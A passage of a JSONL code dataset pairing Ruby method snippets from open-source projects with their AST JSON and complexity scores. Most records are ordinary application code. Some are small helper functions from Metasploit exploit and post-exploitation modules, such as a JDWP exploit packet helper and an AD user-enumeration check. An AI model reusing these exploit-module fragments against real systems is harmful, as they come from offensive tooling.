children\":[{\"type\":\"str\",\"children\":[\"Exploit failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"fc675e86-bce1-4342-852b-bd20ad66eb91"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_epic_basic_fields_to_work_item_record.rb","start_line":99,"raw_source":"def epic_work_item_type_id\n        @epic_work_item_type_id ||= WorkItemTypes.where(base_type: WORK_ITEM_TYPE_EPIC).first.id\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"epic_work_item_type_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@epic_work_item_type_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkItemTypes\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_type\"]},{\"type\":\"const\",\"children\":[null,\"WORK_ITEM_TYPE_EPIC\"]}]}]}]},\"first\"]},\"id\"]}]}]}","id":"4db12b4b-e6ca-49b6-a58a-a401383e068e"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/scm/adapters/git.rb","start_line":240,"raw_source":"def entries(path, identifier = nil)\n          entries = Entries.new\n          path = scm_encode(@path_encoding, \"UTF-8\", path)\n          args = %w|ls-tree -l|\n          args << \"HEAD:#{path}\" if identifier.nil?\n          args << \"#{identifier}:#{path}\" if identifier\n\n          parse_by_line(args, binmode: true) do |line|\n            e = parse_entry(line, path, identifier)\n            entries << e unless entries.detect { |entry| entry.name == e.name }\n          end\n\n          entries.sort_by_name\n        end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"entries\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"identifier\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"entries\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entries\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"scm_encode\",{\"type\":\"ivar\",\"children\":[\"@path_encoding\"]},{\"type\":\"str\",\"children\":[\"UTF-8\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ls-tree\"]},{\"type\":\"str\",\"children\":[\"-l\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HEAD:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_by_line\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"binmode\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"send\",\"children\":[null,\"parse_entry\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"identifier\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"name\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"name\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"sort_by_name\"]}]}]}","id":"e14d62ec-e32b-4482-8956-f4ab5dc01af0"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_view.rb","start_line":943,"raw_source":"def find_topic(topic_or_topic_id)\n    return topic_or_topic_id if topic_or_topic_id.is_a?(Topic)\n    # with_deleted covered in #check_and_raise_exceptions\n    Topic.with_deleted.includes(:category).find_by(id: topic_or_topic_id)\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_topic\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic_or_topic_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic_or_topic_id\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Topic\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic_or_topic_id\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"with_deleted\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"category\"]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"topic_or_topic_id\"]}]}]}]}]}]}","id":"b7aee66f-2049-4b83-8a38-abc7d925ab5e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/provisioning/provisioning.rb","start_line":141,"raw_source":"def get_certificates(profile_id: nil, filter: {}, includes: nil, fields: nil, limit: nil, sort: nil)\n          params = provisioning_request_client.build_params(filter: filter, includes: includes, fields: fields, limit: limit, sort: sort)\n          if profile_id.nil?\n            provisioning_request_client.get(\"#{Version::V1}/certificates\", params)\n          else\n            provisioning_request_client.get(\"#{Version::V1}/profiles/#{profile_id}/certificates\", params)\n          end\n        end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_certificates\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"profile_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"filter\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"includes\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"fields\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"sort\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"provisioning_request_client\"]},\"build_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"lvar\",\"children\":[\"includes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fields\"]},{\"type\":\"lvar\",\"children\":[\"fields\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"lvar\",\"children\":[\"sort\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile_id\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"provisioning_request_client\"]},\"get\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"V1\"]}]},{\"type\":\"str\",\"children\":[\"/certificates\"]}]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"provisioning_request_client\"]},\"get\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"V1\"]}]},{\"type\":\"str\",\"children\":[\"/profiles/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile_id\"]}]},{\"type\":\"str\",\"children\":[\"/certificates\"]}]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}","id":"84ecab86-8fd9-460e-88ba-44adfef4b999"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_output_as_buffered_retries.rb","start_line":51,"raw_source":"def try_write(chunk)\n      @try_write ? @try_write.call(chunk) : nil\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"try_write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@try_write\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@try_write\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"chunk\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"a3536415-e181-44bd-adc1-a25397fa8ab7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/container_repository/delete_tags_service.rb","start_line":29,"raw_source":"def delete_service\n        if @container_repository.client.supports_tag_delete?\n          ::Projects::ContainerRepository::Gitlab::DeleteTagsService.new(\n            current_user: @current_user,\n            container_repository: @container_repository,\n            tag_names: @tag_names)\n        else\n          ::Projects::ContainerRepository::ThirdParty::DeleteTagsService.new(@container_repository, @tag_names)\n        end\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@container_repository\"]},\"client\"]},\"supports_tag_delete?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Projects\"]},\"ContainerRepository\"]},\"Gitlab\"]},\"DeleteTagsService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"ivar\",\"children\":[\"@current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_repository\"]},{\"type\":\"ivar\",\"children\":[\"@container_repository\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_names\"]},{\"type\":\"ivar\",\"children\":[\"@tag_names\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Projects\"]},\"ContainerRepository\"]},\"ThirdParty\"]},\"DeleteTagsService\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@container_repository\"]},{\"type\":\"ivar\",\"children\":[\"@tag_names\"]}]}]}]}","id":"31d9cccb-c1a5-4781-a0a4-92df9f5abe25"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rubocop/cop/layout/module_hash_on_new_line.rb","start_line":73,"raw_source":"def merge_info?(node)\n          node.type == :send && node.method_name == :merge_info\n        end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_info?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"send\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"merge_info\"]}]}]}]}","id":"bb166775-3b4e-45ac-a7ae-1d4fdaa5d2b6"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/update_ancestors_service.rb","start_line":244,"raw_source":"def ignore_non_working_days_of_descendants(ancestor, loader)\n    children = loader.children_of(ancestor)\n\n    if children.any?\n      children.any?(&:ignore_non_working_days)\n    end\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ignore_non_working_days_of_descendants\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ancestor\"]},{\"type\":\"arg\",\"children\":[\"loader\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"children\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"children_of\",{\"type\":\"lvar\",\"children\":[\"ancestor\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"ignore_non_working_days\"]}]}]},null]}]}]}","id":"38b2bd0c-17b9-4d4c-84eb-b256bd7beb00"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/web_ide/vscode.rb","start_line":138,"raw_source":"def ide_tab_closed?(wait: Capybara.default_max_wait_time)\n            has_no_element?('#ide iframe', wait: wait)\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ide_tab_closed?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"wait\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Capybara\"]},\"default_max_wait_time\"]}]}]},{\"type\":\"send\",\"children\":[null,\"has_no_element?\",{\"type\":\"str\",\"children\":[\"#ide iframe\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"lvar\",\"children\":[\"wait\"]}]}]}]}]}","id":"5d7fd651-8737-4d78-8db7-c069bfae0769"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/models/alert.rb","start_line":59,"raw_source":"def alert_common_attributes(sync_run)\n    @alert_common_attributes ||= {\n      name: sync_run.sync.name,\n      end_time: sync_run.finished_at,\n      duration: sync_run.duration_in_seconds,\n      sync_id: sync_run.sync.id,\n      sync_run_id: sync_run.id,\n      error: sync_run.error\n    }\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"alert_common_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_run\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@alert_common_attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_run\"]},\"sync\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_run\"]},\"finished_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_run\"]},\"duration_in_seconds\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_run\"]},\"sync\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_run_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_run\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_run\"]},\"error\"]}]}]}]}]}","id":"82370012-c69d-41d7-87c7-544627f71340"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/java_jdwp_debugger.rb","start_line":185,"raw_source":"def solve_string(data)\n    sock.put(create_packet(STRINGVALUE_SIG, data))\n    response = read_reply\n    return \"\" unless response\n\n    return read_string(response)\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"solve_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[null,\"create_packet\",{\"type\":\"const\",\"children\":[null,\"STRINGVALUE_SIG\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"read_reply\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_string\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]}","id":"b74ef95b-d8d8-4ee9-b3bc-d86e854a9ea5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/web_hooks/auto_disabling.rb","start_line":149,"raw_source":"def next_backoff\n      backoff_count = recent_failures - TEMPORARILY_DISABLED_FAILURE_THRESHOLD\n\n      (INITIAL_BACKOFF * (BACKOFF_GROWTH_FACTOR**backoff_count))\n        .clamp(INITIAL_BACKOFF, MAX_BACKOFF)\n        .seconds\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"next_backoff\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"backoff_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"recent_failures\"]},\"-\",{\"type\":\"const\",\"children\":[null,\"TEMPORARILY_DISABLED_FAILURE_THRESHOLD\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INITIAL_BACKOFF\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BACKOFF_GROWTH_FACTOR\"]},\"**\",{\"type\":\"lvar\",\"children\":[\"backoff_count\"]}]}]}]}]},\"clamp\",{\"type\":\"const\",\"children\":[null,\"INITIAL_BACKOFF\"]},{\"type\":\"const\",\"children\":[null,\"MAX_BACKOFF\"]}]},\"seconds\"]}]}]}","id":"7a4e7950-763a-47e9-84c0-587a5477f54d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/notification.rb","start_line":401,"raw_source":"def send_email\n    return if skip_send_email\n\n    if user.do_not_disturb?\n      ShelvedNotification.create(notification_id: self.id)\n    else\n      NotificationEmailer.process_notification(self)\n    end\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"send_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_send_email\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"do_not_disturb?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ShelvedNotification\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationEmailer\"]},\"process_notification\",{\"type\":\"self\",\"children\":[]}]}]}]}]}","id":"fa8e9410-f4ae-49a0-8e19-a0753b95cacb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/fixtures/development/14_pipelines.rb","start_line":269,"raw_source":"def setup_environment(build, attrs)\n    return unless build.has_environment_keyword?\n\n    environment = build.project.environments.find_or_create_by!(name: build.environment)\n    build.create_job_environment!(\n      environment: environment,\n      expanded_environment_name: environment.name,\n      project: build.project,\n      pipeline: build.pipeline,\n      options: attrs.fetch(:environment, {})\n    )\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_environment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"build\"]},{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"has_environment_keyword?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"environment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"project\"]},\"environments\"]},\"find_or_create_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"environment\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"create_job_environment!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"lvar\",\"children\":[\"environment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expanded_environment_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environment\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"pipeline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}]}]}","id":"6a933d52-cbae-4f2c-b43e-0ec811a927f8"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20210503205816_add_static_profile_fields_to_profile.rb","start_line":2,"raw_source":"def change\n    add_column :profiles, :summary, :text\n    add_column :profiles, :location, :string\n    add_column :profiles, :website_url, :string\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"profiles\"]},{\"type\":\"sym\",\"children\":[\"summary\"]},{\"type\":\"sym\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"profiles\"]},{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"profiles\"]},{\"type\":\"sym\",\"children\":[\"website_url\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]}]}]}","id":"7d71395d-9f0a-4402-b9c4-278b908daff6"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/group_user.rb","start_line":123,"raw_source":"def grant_trust_level\n    return if group.grant_trust_level.nil? || group.grant_trust_level.zero?\n\n    TrustLevelGranter.grant(group.grant_trust_level, user)\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"grant_trust_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"grant_trust_level\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"grant_trust_level\"]},\"zero?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TrustLevelGranter\"]},\"grant\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"grant_trust_level\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}","id":"000240f7-de24-4a40-b56a-8e5272fee421"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/enum_ad_users.rb","start_line":110,"raw_source":"def account_disabled?(uac)\n    (uac & UAC_DISABLED) > 0\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"account_disabled?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uac\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uac\"]},\"&\",{\"type\":\"const\",\"children\":[null,\"UAC_DISABLED\"]}]}]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"f798b781-beda-488e-82f3-b64e6f6fc6e1"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/helpers/spree/filters_helper.rb","start_line":22,"raw_source":"def default_storefront_products_for_filters\n      @default_storefront_products_for_filters ||= products_for_filters_default_scope.unscope(:order)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_storefront_products_for_filters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@default_storefront_products_for_filters\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"products_for_filters_default_scope\"]},\"unscope\",{\"type\":\"sym\",\"children\":[\"order\"]}]}]}]}","id":"e691361a-aeb1-47e2-8d04-82afbc74d327"}
